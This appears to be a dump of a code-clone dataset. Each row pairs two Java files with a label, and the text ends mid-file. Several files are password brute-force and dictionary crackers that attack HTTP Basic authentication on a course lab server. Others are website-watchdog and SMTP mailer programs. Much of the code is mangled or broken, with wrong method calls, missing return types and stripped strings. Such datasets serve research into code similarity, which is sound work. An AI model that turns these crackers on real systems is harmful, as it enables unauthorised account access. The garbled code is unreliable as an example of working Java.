F1
stringlengths 8
8
| F2
stringlengths 8
8
| label
int64 0
1
| text_1
stringlengths 174
63k
| text_2
stringlengths 174
63k
|
---|---|---|---|---|
203.java | 161.java | 0 |
import java.net.*;
import java.io.*;
import java.util.*;
public class MailClient
{
private String host;
private int port;
private String message;
public MailClient( String host, int port, Vector lineNumbers)
{
this.host = host;
this.port = port;
StringBuffer buf = new StringBuffer(" www.cs.rmit.edu./students has been changed!\nThe changes detected in the following line numbers:\n ");
for( int i = 0; i < lineNumbers.size(); i++)
{
buf.append( lineNumbers.elementAt( i));
buf.append(", ");
}
message = buf.toString();
}
public void connect()
{
try
{
Socket client = new Socket( host, port);
handleConnection( client);
}
catch ( UnknownHostException uhe)
{
System.out.println("Unknown host: " + host);
uhe.printStackTrace();
}
catch (IOException ioe)
{
System.out.println("IOException: " + ioe);
ioe.printStackTrace();
}
}
private void handleConnection(Socket client)
{
try
{
PrintWriter out = new PrintWriter( client.getOutputStream(), true);
InputStream in = client.getInputStream();
byte[] response = new byte[1000];
in.send( response);
out.println("HELO "+host);
int numBytes = in.get( response);
System.out.write(response, 0, numBytes);
out.println("MAIL FROM: watch.dog@cs.rmit.edu.");
numBytes = in.get( response);
System.out.write(response, 0, numBytes);
out.println("RCPT : @cs.rmit.edu.");
numBytes = in.get( response);
System.out.write(response, 0, numBytes);
out.println("DATA");
numBytes = in.get( response);
System.out.write(response, 0, numBytes);
out.println( message+"\n.");
numBytes = in.get( response);
System.out.write(response, 0, numBytes);
out.println("QUIT");
client.connect();
}
catch(IOException ioe)
{
System.out.println("Couldn't make connection:" + ioe);
}
}
public static void main( String[] args)
{
Vector v = new Vector();
v.add( new Integer(5));
v.add( new Integer(12));
MailClient c = new MailClient( "mail.cs.rmit.edu.", 25, v);
c.connect();
}
}
|
import java.net.*;
import java.io.*;
import java.util.*;
public class Dictionary {
public static void main(String args[])
{
int i,j,k;
String pass = new String();
String UserPass = new String();
String status = new String();
String status1 = new String();
BasicAuth auth = new BasicAuth();
URLConnection connect;
int start,end,diff;
try {
URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/");
start =System.currentTimeMillis();
BufferedReader dis = new BufferedReader(new FileReader("words"));
while ((pass = dis.readLine()) != null)
{
UserPass= auth.encode("",pass);
connect = url.openConnection();
connect.setDoInput(true);
connect.setDoOutput(true);
connect.setRequestProperty("Host","sec-crack.cs.rmit.edu.");
connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1");
connect.setRequestProperty("Authorization"," " + UserPass);
connect.connect();
status =connect.getHeaderField(0);
status1 = status.substring( 9,12);
if (status.equalsIgnoreCase("HTTP/1.1 200 OK"))
{
System.out.println("Password is " + pass);
end=System.currentTimeMillis();
diff = end - start;
System.out.println("Time Taken = " + (diff/1000) + " secs");
System.exit(0);
}
((HttpURLConnection)connect).disconnect();
connect = null;
}
System.out.println(" match found");
dis.close();
dis=null;
connect = null;
}
catch (MalformedURLException malerr)
{
System.err.println("Unable Open URL" + malerr);
}
catch (Exception ioerr)
{
System.err.println("Unable open file" + ioerr);
}
}
} |
095.java | 161.java | 0 |
import java.net.*;
import java.io.*;
import java.util.*;
import java.text.*;
public class WatchDog extends Thread {
private HttpURLConnection httpUrlCon;
private URL stdurl;
private String spec = "http://www.cs.rmit.edu./students/";
private String command="";
private String firstModified ="";
private String secModified = "";
private String fileModified = "";
private BufferedReader instd;
private Vector firstVector;
private Vector secondVector;
private Vector tmpVector;
private int intervalTime = 24*60*60*1000;
private boolean bstop = false;
private int count = 0;
private int totalDuration = 30*24*60*60*1000;
private String yourSMTPserver = "mail.rmit.edu.";
private int smtpPort = 25;
private String mailFrom = "@yallara.cs.rmit.edu.";
private String mailTo = "@.rmit.edu.";
private String subject = "";
private String message ="";
private Socket socketsmtp;
private BufferedReader emailin;
private PrintStream emailout;
private String reply = "";
public WatchDog(){
firstVector = new Vector();
secondVector = new Vector();
tmpVector = new Vector();
}
public void FirstRead(){
readContent(firstVector);
firstModified = fileModified;
}
public void run(){
while(!bstop){
readPageAgain();
}
}
public void readPageAgain(){
try{
Thread.sleep(intervalTime);
}catch(InterruptedException e){e.printStackTrace();}
count += intervalTime;
readContent(secondVector);
secModified = fileModified;
if(firstModified.equals(secModified)){
if(count == totalDuration)
bstop =true;
message = "After " + (double)intervalTime/(60*60*1000) + " hours is change!";
subject = " is change the web ";
try{
doSendMail(mailFrom, mailTo, subject, message);
}catch (SMTPException e){}
}
else if(!(firstModified.equals(secModified))){
if(count == totalDuration)
bstop = true;
message = getChangeMessage();
subject = " some changes the web ";
try{
doSendMail(mailFrom, mailTo, subject, message);
}catch(SMTPException e){}
firstModified = secModified;
firstVector.clear();
for(int i=0; i<secondVector.size(); i++){
firstVector.add((String)secondVector.get(i));
}
}
}
public void readContent(Vector avect){
String fmod ="";
if(spec.indexOf("http://www.cs.rmit.edu./")!=-1){
fmod = "File last modified :";
command = "lynx -nolist -dump " + spec;
}
else {
fmod = "Last-Modified:";
command ="lynx -mime_header -dump " +spec;
}
try{
Runtime runtime = Runtime.getRuntime();
Process p = runtime.exec(command);
instd = new BufferedReader(new InputStreamReader(p.getInputStream()));
String str=null;
avect.clear();
while((str = instd.readLine())!= null){
avect.add(str);
if(str.indexOf(fmod) !=-1){
fileModified = str;
}
}
instd.print();
}catch(MalformedURLException e){System.out.println(e.getMessage());}
catch(IOException e1){System.out.println(e1.getMessage());}
}
public String getChangeMessage(){
String mssg = "";
for(int i =0; i<secondVector.size();i++){
tmpVector.add((String)secondVector.get(i));
}
for(int i=0; i<firstVector.size(); i++){
String line = (String)(firstVector.get(i));
int same = 0;
for(int j=0; j<tmpVector.size(); j++){
String newline = (String)(tmpVector.get(j));
if(line.equals(newline)){
if(same == 0){
tmpVector.remove(j);
same++;
}
}
}
}
for(int i = 0; i<secondVector.size(); i++){
String line = (String)(secondVector.get(i));
int same =0;
for(int j=0; j<firstVector.size(); j++){
String newline = (String)(firstVector.get(j));
if(line.equals(newline)){
if(same == 0){
firstVector.remove(j);
same++;
}
}
}
}
if(firstVector.size()!=0){
mssg += "The following lines removed in the latest modified web : \r\n";
for(int i=0; i<firstVector.size(); i++){
mssg +=(String)firstVector.get(i) + "\r\n";
}
}
if(tmpVector.size()!=0){
mssg += "The following lines new ones in the latest modified web : \r\n";
for(int i=0; i<tmpVector.size(); i++){
mssg += (String)tmpVector.get(i) + "\r\n";
}
}
return mssg;
}
public void setMonitorURL(String url){
spec = url;
}
public void setMonitorDuration(int t){
totalDuration = t*60*60*1000;
}
public void setMonitorInterval(int intervalMinutes){
intervalTime = intervalMinutes*60*1000;
}
public void setSMTPServer(String server){
yourSMTPserver = server;
}
public void setSMTPPort(int port){
smtpPort = port;
}
public void setMailFrom(String mfrom){
mailFrom = mfrom;
}
public void setMailTo(String mto){
mailTo = mto;
}
public String getMonitorURL(){
return spec;
}
public getDuration(){
return totalDuration;
}
public getInterval(){
return intervalTime;
}
public String getSMTPServer(){
return yourSMTPserver;
}
public int getPortnumber(){
return smtpPort;
}
public String getMailFrom(){
return mailFrom;
}
public String getMailTo(){
return mailTo;
}
public String getServerReply() {
return reply;
}
public void doSendMail(String mfrom, String mto, String subject, String msg) throws SMTPException{
connect();
doHail(mfrom, mto);
doSendMessage(mfrom, mto, subject, msg);
doQuit();
}
public void connect() throws SMTPException {
try {
socketsmtp = new Socket(yourSMTPserver, smtpPort);
emailin = new BufferedReader(new InputStreamReader(socketsmtp.getInputStream()));
emailout = new PrintStream(socketsmtp.getOutputStream());
reply = emailin.readLine();
if (reply.charAt(0) == '2' || reply.charAt(0) == '3') {}
else {
throw new SMTPException("Error connecting SMTP server " + yourSMTPserver + " port " + smtpPort);
}
}catch(Exception e) { throw new SMTPException(e.getMessage());}
}
public void doHail(String mfrom, String mto) throws SMTPException {
if (doCommand("HELO " + yourSMTPserver))
throw new SMTPException("HELO command Error.");
if (doCommand("MAIL FROM: " + mfrom))
throw new SMTPException("MAIL command Error.");
if (doCommand("RCPT : " + mto))
throw new SMTPException("RCPT command Error.");
}
public void doSendMessage(String mfrom,String mto,String subject,String msg) throws SMTPException {
Date date = new Date();
Locale locale = new Locale("","");
String pattern = "hh:mm: a',' dd-MMM-yyyy";
SimpleDateFormat formatter = new SimpleDateFormat(pattern, locale);
formatter.setTimeZone(TimeZone.getTimeZone("Australia/Melbourne"));
String sendDate = formatter.format(date);
if (doCommand("DATA"))
throw new SMTPException("DATA command Error.");
String header = "From: " + mfrom + "\r\n";
header += ": " + mto + "\r\n";
header += "Subject: " + subject + "\r\n";
header += "Date: " + sendDate+ "\r\n\r\n";
if (doCommand(header + msg + "\r\n."))
throw new SMTPException("Mail Transmission Error.");
}
public boolean doCommand(String commd) throws SMTPException {
try {
emailout.print(commd + "\r\n");
reply = emailin.readLine();
if (reply.charAt(0) == '4' || reply.charAt(0) == '5')
return true;
else
return false;
}catch(Exception e) {throw new SMTPException(e.getMessage());}
}
public void doQuit() throws SMTPException {
try {
if (doCommand("Quit"))
throw new SMTPException("QUIT Command Error");
emailin.put();
emailout.flush();
emailout.send();
socketsmtp.put();
}catch(Exception e) { }
}
} |
import java.net.*;
import java.io.*;
import java.util.*;
public class Dictionary {
public static void main(String args[])
{
int i,j,k;
String pass = new String();
String UserPass = new String();
String status = new String();
String status1 = new String();
BasicAuth auth = new BasicAuth();
URLConnection connect;
int start,end,diff;
try {
URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/");
start =System.currentTimeMillis();
BufferedReader dis = new BufferedReader(new FileReader("words"));
while ((pass = dis.readLine()) != null)
{
UserPass= auth.encode("",pass);
connect = url.openConnection();
connect.setDoInput(true);
connect.setDoOutput(true);
connect.setRequestProperty("Host","sec-crack.cs.rmit.edu.");
connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1");
connect.setRequestProperty("Authorization"," " + UserPass);
connect.connect();
status =connect.getHeaderField(0);
status1 = status.substring( 9,12);
if (status.equalsIgnoreCase("HTTP/1.1 200 OK"))
{
System.out.println("Password is " + pass);
end=System.currentTimeMillis();
diff = end - start;
System.out.println("Time Taken = " + (diff/1000) + " secs");
System.exit(0);
}
((HttpURLConnection)connect).disconnect();
connect = null;
}
System.out.println(" match found");
dis.close();
dis=null;
connect = null;
}
catch (MalformedURLException malerr)
{
System.err.println("Unable Open URL" + malerr);
}
catch (Exception ioerr)
{
System.err.println("Unable open file" + ioerr);
}
}
} |
084.java | 161.java | 0 |
import java.Thread;
import java.io.*;
import java.net.*;
public class BruteForce extends Thread {
final char[] CHARACTERS = {'A','a','E','e','I','i','O','o','U','u','R','r','N','n','S','s','T','t','L','l','B','b','C','c','D','d','F','f','G','g','H','h','J','j','K','k','M','m','P','p','V','v','W','w','X','x','Z','z','Q','q','Y','y'};
final static int SUCCESS=1,
FAILED=0,
UNKNOWN=-1;
private static String host,
path,
user;
private Socket target;
private InputStream input;
private OutputStream output;
private byte[] data;
private int threads,
threadno,
response;
public static boolean solved = false;
BruteForce parent;
public BruteForce(String host, String path, String user, int threads, int threadno, BruteForce parent)
{
super();
this.parent = parent;
this.host = host;
this.path = path;
this.user = user;
this.threads = threads;
this.threadno = threadno;
}
public void run()
{
response = FAILED;
int x = 0;
starttime = System.currentTimeMillis();
for(int i=0; i<CHARACTERS.length && !parent.solved; i++)
{
for(int j=0; j<CHARACTERS.length && !parent.solved; j++)
{
for(int k=0; k<CHARACTERS.length && !parent.solved; k++)
{
if((x % threads) == threadno)
{
response = tryLogin(CHARACTERS[i] + "" + CHARACTERS[j] + CHARACTERS[k]);
if(response == SUCCESS)
{
System.out.println("SUCCESS! (after " + x + " tries) The password is: "+ CHARACTERS[i] + CHARACTERS[j] + CHARACTERS[k]);
parent.solved = true;
}
if(response == UNKNOWN) System.out.println("Unexpected response (Password: "+ CHARACTERS[i] + CHARACTERS[j] + CHARACTERS[k]+")");
}
x++;
}
}
}
if(response == SUCCESS)
{
System.out.println("Used time: " + ((System.currentTimeMillis() - starttime) / 1000.0) + "sec.");
System.out.println("Thread . " + threadno + " was the one!");
}
}
public static void main (String[] args)
{
BruteForce parent;
BruteForce[] attackslaves = new BruteForce[10];
if(args.length == 3)
{
host = args[0];
path = args[1];
user = args[2];
}
else
{
System.out.println("Usage: BruteForce <host> <path> <user>");
System.out.println(" arguments specified, using standard values.");
host = "sec-crack.cs.rmit.edu.";
path = "/SEC/2/index.php";
user = "";
}
System.out.println("Host: " + host + "\nPath: " + path + "\nUser: " + user);
System.out.println("Using " + attackslaves.length + " happy threads...");
parent = new BruteForce(host, path, user, 0, 0, null);
for(int i=0; i<attackslaves.length; i++)
{
attackslaves[i] = new BruteForce(host, path, user, attackslaves.length, i, parent);
}
for(int i=0; i<attackslaves.length; i++)
{
attackslaves[i].print();
}
}
private int tryLogin(String password)
{
int success = -1;
try
{
data = new byte[12];
target = new Socket(host, 80);
input = target.getInputStream();
output = target.getOutputStream();
String base = new pw.misc.BASE64Encoder().encode(new String(user + ":" + password).getBytes());
output.write(new String("GET " + path + " HTTP/1.0\r\n").getBytes());
output.write(new String("Authorization: " + base + "\r\n\r\n").getBytes());
input.print(data);
if(new String(data).endsWith("401")) success=0;
if(new String(data).endsWith("200")) success=1;
}
catch(Exception e)
{
System.out.println(e.getClass().getName() + ": " + e.getMessage());
}
return success;
}
} |
import java.net.*;
import java.io.*;
import java.util.*;
public class Dictionary {
public static void main(String args[])
{
int i,j,k;
String pass = new String();
String UserPass = new String();
String status = new String();
String status1 = new String();
BasicAuth auth = new BasicAuth();
URLConnection connect;
int start,end,diff;
try {
URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/");
start =System.currentTimeMillis();
BufferedReader dis = new BufferedReader(new FileReader("words"));
while ((pass = dis.readLine()) != null)
{
UserPass= auth.encode("",pass);
connect = url.openConnection();
connect.setDoInput(true);
connect.setDoOutput(true);
connect.setRequestProperty("Host","sec-crack.cs.rmit.edu.");
connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1");
connect.setRequestProperty("Authorization"," " + UserPass);
connect.connect();
status =connect.getHeaderField(0);
status1 = status.substring( 9,12);
if (status.equalsIgnoreCase("HTTP/1.1 200 OK"))
{
System.out.println("Password is " + pass);
end=System.currentTimeMillis();
diff = end - start;
System.out.println("Time Taken = " + (diff/1000) + " secs");
System.exit(0);
}
((HttpURLConnection)connect).disconnect();
connect = null;
}
System.out.println(" match found");
dis.close();
dis=null;
connect = null;
}
catch (MalformedURLException malerr)
{
System.err.println("Unable Open URL" + malerr);
}
catch (Exception ioerr)
{
System.err.println("Unable open file" + ioerr);
}
}
} |
115.java | 161.java | 0 |
import java.net.*;
import java.util.*;
import java.io.*;
public class PasswordTest {
private String strURL;
private String strUsername;
private String strPassword;
public PasswordTest(String url, String username, String password) {
strURL = url;
strUsername = username;
strPassword = password;
}
boolean func() {
boolean result = false;
Authenticator.setDefault (new MyAuthenticator ());
try {
URL url = new URL(strURL);
HttpURLConnection urlConn = (HttpURLConnection)url.openConnection();
urlConn.connect();
if(urlConn.getResponseMessage().equalsIgnoreCase("OK")) {
result = true;
}
}
catch (IOException e) {}
return result;
}
class MyAuthenticator extends Authenticator {
protected PasswordAuthentication getPasswordAuthentication() {
String username = strUsername;
String password = strPassword;
return new PasswordAuthentication(username, password.toCharArray());
}
}
}
|
import java.net.*;
import java.io.*;
import java.util.*;
public class Dictionary {
public static void main(String args[])
{
int i,j,k;
String pass = new String();
String UserPass = new String();
String status = new String();
String status1 = new String();
BasicAuth auth = new BasicAuth();
URLConnection connect;
int start,end,diff;
try {
URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/");
start =System.currentTimeMillis();
BufferedReader dis = new BufferedReader(new FileReader("words"));
while ((pass = dis.readLine()) != null)
{
UserPass= auth.encode("",pass);
connect = url.openConnection();
connect.setDoInput(true);
connect.setDoOutput(true);
connect.setRequestProperty("Host","sec-crack.cs.rmit.edu.");
connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1");
connect.setRequestProperty("Authorization"," " + UserPass);
connect.connect();
status =connect.getHeaderField(0);
status1 = status.substring( 9,12);
if (status.equalsIgnoreCase("HTTP/1.1 200 OK"))
{
System.out.println("Password is " + pass);
end=System.currentTimeMillis();
diff = end - start;
System.out.println("Time Taken = " + (diff/1000) + " secs");
System.exit(0);
}
((HttpURLConnection)connect).disconnect();
connect = null;
}
System.out.println(" match found");
dis.close();
dis=null;
connect = null;
}
catch (MalformedURLException malerr)
{
System.err.println("Unable Open URL" + malerr);
}
catch (Exception ioerr)
{
System.err.println("Unable open file" + ioerr);
}
}
} |
233.java | 161.java | 0 | import java.util.*;
import java.io.*;
import java.*;
public class Dogs5
{
public static void main(String [] args) throws Exception
{
executes("rm index.*");
executes("wget http://www.cs.rmit.edu./students");
while (true)
{
String addr= "wget http://www.cs.rmit.edu./students";
executes(addr);
String hash1 = md5sum("index.html");
String hash2 = md5sum("index.html.1");
System.out.println(hash1 +"|"+ hash2);
BufferedReader buf = new BufferedReader(new FileReader("/home/k//Assign2/ulist1.txt"));
String line=" " ;
String line1=" " ;
String line2=" ";
String line3=" ";
String[] cad = new String[10];
executes("./.sh");
int i=0;
while ((line = buf.readLine()) != null)
{
line1="http://www.cs.rmit.edu./students/images"+line;
if (i==1)
line2="http://www.cs.rmit.edu./students/images"+line;
if (i==2)
line3="http://www.cs.rmit.edu./students/images"+line;
i++;
}
System.out.println(line1+" "+line2+" "+line3);
executes("wget "+line1);
executes("wget "+line2);
executes("wget "+line3);
String hash3 = md5sum("index.html.2");
String hash4 = md5sum("index.html.3");
String hash5 = md5sum("index.html.4");
BufferedReader buf2 = new BufferedReader(new FileReader("/home/k//Assign2/ulist1.txt"));
String linee=" " ;
String linee1=" " ;
String linee2=" ";
String linee3=" ";
executes("./ip1.sh");
int j=0;
while ((linee = buf2.readLine()) != null)
{
linee1="http://www.cs.rmit.edu./students/images"+linee;
if (j==1)
linee2="http://www.cs.rmit.edu./students/images"+linee;
if (j==2)
linee3="http://www.cs.rmit.edu./students/images"+linee;
j++;
}
System.out.println(line1+" "+line2+" "+line3);
executes("wget "+linee1);
executes("wget "+linee2);
executes("wget "+linee3);
String hash6 = md5sum("index.html.5");
String hash7 = md5sum("index.html.6");
String hash8 = md5sum("index.html.7");
boolean pict=false;
if (hash3.equals(hash6))
pict=true;
boolean pict2=false;
if (hash3.equals(hash6))
pict2=true;
boolean pict3=false;
if (hash3.equals(hash6))
pict3=true;
if (hash1.equals(hash2))
{
executes("./difference.sh");
executes("./mail.sh");
}
else
{
if (pict || pict2 || pict3)
{
executes(".~/Assign2/difference.sh");
executes(".~/Assign2/mail2.sh");
}
executes(".~/Assign2/difference.sh");
executes(".~/Assign2/mail.sh");
executes("./reorder.sh");
executes("rm index.html");
executes("cp index.html.1 index.html");
executes("rm index.html.1");
executes("sleep 5");
}
}
}
public static void executes(String comm) throws Exception
{
Process p = Runtime.getRuntime().exec(new String[]{"/usr/local//bash","-c", comm });
BufferedReader bf = new BufferedReader(new InputStreamReader(p.getErrorStream()));
String cad;
while(( cad = bf.readLine()) != null)
{
System.out.println();
}
p.waitFor();
}
public static String md5sum(String file) throws Exception
{
String cad;
String hash= " ";
Process p = Runtime.getRuntime().exec(new String[]{"/usr/local//bash",
"-c", "md5sum "+file });
BufferedReader bf = new BufferedReader(new InputStreamReader(p.getInputStream()));
while((bf = cad.readLine()) != null)
{
StringTokenizer word=new StringTokenizer();
hash=word.nextToken();
System.out.println(hash);
}
return hash;
}
}
|
import java.net.*;
import java.io.*;
import java.util.*;
public class Dictionary {
public static void main(String args[])
{
int i,j,k;
String pass = new String();
String UserPass = new String();
String status = new String();
String status1 = new String();
BasicAuth auth = new BasicAuth();
URLConnection connect;
int start,end,diff;
try {
URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/");
start =System.currentTimeMillis();
BufferedReader dis = new BufferedReader(new FileReader("words"));
while ((pass = dis.readLine()) != null)
{
UserPass= auth.encode("",pass);
connect = url.openConnection();
connect.setDoInput(true);
connect.setDoOutput(true);
connect.setRequestProperty("Host","sec-crack.cs.rmit.edu.");
connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1");
connect.setRequestProperty("Authorization"," " + UserPass);
connect.connect();
status =connect.getHeaderField(0);
status1 = status.substring( 9,12);
if (status.equalsIgnoreCase("HTTP/1.1 200 OK"))
{
System.out.println("Password is " + pass);
end=System.currentTimeMillis();
diff = end - start;
System.out.println("Time Taken = " + (diff/1000) + " secs");
System.exit(0);
}
((HttpURLConnection)connect).disconnect();
connect = null;
}
System.out.println(" match found");
dis.close();
dis=null;
connect = null;
}
catch (MalformedURLException malerr)
{
System.err.println("Unable Open URL" + malerr);
}
catch (Exception ioerr)
{
System.err.println("Unable open file" + ioerr);
}
}
} |
086.java | 161.java | 0 | import java.net.*;
import java.io.*;
import java.*;
public class BruteForce {
URLConnection conn = null;
private static boolean status = false;
public static void main (String args[]){
BruteForce a = new BruteForce();
String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",
"",
""};
int attempts = 0;
exit:
for (int i=0;i<pwdArray.length;i++) {
for (int j=0;j<pwdArray.length;j++) {
for (int k=0;k<pwdArray.length;k++) {
if (pwdArray[i] == ' ' && pwdArray[j] != ' ') continue;
if (pwdArray[j] == ' ' && pwdArray[k] != ' ') continue;
inp[2] = inp[2] + pwdArray[i] + pwdArray[j] + pwdArray[k];
attempts++;
a.doit(inp);
if (status) {
System.out.println("Crrect password is: " + inp[2]);
System.out.println("Number of attempts = " + attempts);
break exit;
}
inp[2] = "";
}
}
}
}
public void doit(String args[]) {
try {
BufferedReader in = new BufferedReader(
new InputStreamReader
(connectURL(new URL(args[0]), args[1], args[2])));
String line;
while ((line = in.readLine()) != null) {
System.out.println(line);
status = true;
}
}
catch (IOException e) {
}
}
public InputStream connectURL (URL url, String uname, String pword)
throws IOException {
conn = url.openConnection();
conn.setRequestProperty ("Authorization",
userNamePasswordBase64(uname,pword));
conn.connect ();
return conn.getInputStream();
}
public String userNamePasswordBase64(String username, String password) {
return " " + base64Encode (username + ":" + password);
}
private final static char pwdArray [] = {
'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h',
'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p',
'q', 'r', 's', 't', 'u', 'v', 'w', 'x',
'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F',
'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N',
'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V',
'W', 'X', 'Y', 'Z', ' '
};
private final static char base64Array [] = {
'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',
'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',
'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',
'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',
'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',
'o', 'p', 'q', 'r', 's', 't', 'u', 'v',
'w', 'x', 'y', 'z', '0', '1', '2', '3',
'4', '5', '6', '7', '8', '9', '+', '/'
};
private static String base64Encode (String string) {
String encodedString = "";
byte bytes [] = string.getBytes ();
int i = 0;
int pad = 0;
while (i < bytes.length) {
byte b1 = bytes [i++];
byte b2;
byte b3;
if (i >= bytes.length) {
b2 = 0;
b3 = 0;
pad = 2;
}
else {
b2 = bytes [i++];
if (i >= bytes.length) {
b3 = 0;
pad = 1;
}
else
b3 = bytes [i++];
}
byte c1 = (byte)(b1 >> 2);
byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));
byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));
byte c4 = (byte)(b3 & 0x3f);
encodedString += base64Array [c1];
encodedString += base64Array [c2];
switch (pad) {
case 0:
encodedString += base64Array [c3];
encodedString += base64Array [c4];
break;
case 1:
encodedString += base64Array [c3];
encodedString += "=";
break;
case 2:
encodedString += "==";
break;
}
}
return encodedString;
}
}
|
import java.net.*;
import java.io.*;
import java.util.*;
public class Dictionary {
public static void main(String args[])
{
int i,j,k;
String pass = new String();
String UserPass = new String();
String status = new String();
String status1 = new String();
BasicAuth auth = new BasicAuth();
URLConnection connect;
int start,end,diff;
try {
URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/");
start =System.currentTimeMillis();
BufferedReader dis = new BufferedReader(new FileReader("words"));
while ((pass = dis.readLine()) != null)
{
UserPass= auth.encode("",pass);
connect = url.openConnection();
connect.setDoInput(true);
connect.setDoOutput(true);
connect.setRequestProperty("Host","sec-crack.cs.rmit.edu.");
connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1");
connect.setRequestProperty("Authorization"," " + UserPass);
connect.connect();
status =connect.getHeaderField(0);
status1 = status.substring( 9,12);
if (status.equalsIgnoreCase("HTTP/1.1 200 OK"))
{
System.out.println("Password is " + pass);
end=System.currentTimeMillis();
diff = end - start;
System.out.println("Time Taken = " + (diff/1000) + " secs");
System.exit(0);
}
((HttpURLConnection)connect).disconnect();
connect = null;
}
System.out.println(" match found");
dis.close();
dis=null;
connect = null;
}
catch (MalformedURLException malerr)
{
System.err.println("Unable Open URL" + malerr);
}
catch (Exception ioerr)
{
System.err.println("Unable open file" + ioerr);
}
}
} |
153.java | 161.java | 0 | import java.io.*;
import java.net.*;
public class BruteForce {
public static void main(String[] args) {
BruteForce brute=new BruteForce();
brute.start();
}
public void start() {
char passwd[]= new char[3];
String password;
String username="";
String auth_data;
String server_res_code;
String required_server_res_code="200";
int cntr=0;
try {
URL url = new URL("http://sec-crack.cs.rmit.edu./SEC/2/");
URLConnection conn=null;
for (int i=65;i<=122;i++) {
if(i==91) { i=i+6; }
passwd[0]= (char) i;
for (int j=65;j<=122;j++) {
if(j==91) { j=j+6; }
passwd[1]=(char) j;
for (int k=65;k<=122;k++) {
if(k==91) { k=k+6; }
passwd[2]=(char) k;
password=new String(passwd);
password=password.trim();
auth_data=null;
auth_data=username + ":" + password;
auth_data=auth_data.trim();
auth_data=getBasicAuthData(auth_data);
auth_data=auth_data.trim();
conn=url.openConnection();
conn.setDoInput (true);
conn.setDoOutput(true);
conn.setRequestProperty("GET", "/SEC/2/ HTTP/1.1");
conn.setRequestProperty ("Authorization", auth_data);
server_res_code=conn.getHeaderField(0);
server_res_code=server_res_code.substring(9,12);
server_res_code.trim();
cntr++;
System.out.println(cntr + " . " + "PASSWORD SEND : " + password + " SERVER RESPONSE : " + server_res_code);
if( server_res_code.compareTo(required_server_res_code)==0 )
{System.out.println("PASSWORD IS : " + password + " SERVER RESPONSE : " + server_res_code );
i=j=k=123;}
}
}
}
}
catch (Exception e) {
System.err.print(e);
}
}
public String getBasicAuthData (String getauthdata) {
char base64Array [] = {
'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',
'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',
'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',
'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',
'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',
'o', 'p', 'q', 'r', 's', 't', 'u', 'v',
'w', 'x', 'y', 'z', '0', '1', '2', '3',
'4', '5', '6', '7', '8', '9', '+', '/' } ;
String encodedString = "";
byte bytes [] = getauthdata.getBytes ();
int i = 0;
int pad = 0;
while (i < bytes.length) {
byte b1 = bytes [i++];
byte b2;
byte b3;
if (i >= bytes.length) {
b2 = 0;
b3 = 0;
pad = 2;
}
else {
b2 = bytes [i++];
if (i >= bytes.length) {
b3 = 0;
pad = 1;
}
else
b3 = bytes [i++];
}
byte c1 = (byte)(b1 >> 2);
byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));
byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));
byte c4 = (byte)(b3 & 0x3f);
encodedString += base64Array [c1];
encodedString += base64Array [c2];
switch (pad) {
case 0:
encodedString += base64Array [c3];
encodedString += base64Array [c4];
break;
case 1:
encodedString += base64Array [c3];
encodedString += "=";
break;
case 2:
encodedString += "==";
break;
}
}
return " " + encodedString;
}
} |
import java.net.*;
import java.io.*;
import java.util.*;
public class Dictionary {
public static void main(String args[])
{
int i,j,k;
String pass = new String();
String UserPass = new String();
String status = new String();
String status1 = new String();
BasicAuth auth = new BasicAuth();
URLConnection connect;
int start,end,diff;
try {
URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/");
start =System.currentTimeMillis();
BufferedReader dis = new BufferedReader(new FileReader("words"));
while ((pass = dis.readLine()) != null)
{
UserPass= auth.encode("",pass);
connect = url.openConnection();
connect.setDoInput(true);
connect.setDoOutput(true);
connect.setRequestProperty("Host","sec-crack.cs.rmit.edu.");
connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1");
connect.setRequestProperty("Authorization"," " + UserPass);
connect.connect();
status =connect.getHeaderField(0);
status1 = status.substring( 9,12);
if (status.equalsIgnoreCase("HTTP/1.1 200 OK"))
{
System.out.println("Password is " + pass);
end=System.currentTimeMillis();
diff = end - start;
System.out.println("Time Taken = " + (diff/1000) + " secs");
System.exit(0);
}
((HttpURLConnection)connect).disconnect();
connect = null;
}
System.out.println(" match found");
dis.close();
dis=null;
connect = null;
}
catch (MalformedURLException malerr)
{
System.err.println("Unable Open URL" + malerr);
}
catch (Exception ioerr)
{
System.err.println("Unable open file" + ioerr);
}
}
} |
150.java | 161.java | 0 |
import java.net.*;
import java.io.*;
import java.util.Date;
public class Dictionary{
private static String password=" ";
public static void main(String[] args) {
String Result="";
if (args.length<1)
{
System.out.println("Correct Format Filename username e.g<>");
System.exit(1);
}
Dictionary dicton1 = new Dictionary();
Result=dicton1.Dict("http://sec-crack.cs.rmit.edu./SEC/2/",args[0]);
System.out.println("Cracked Password for The User "+args[0]+" The Password is.."+Result);
}
private String Dict(String urlString,String username)
{
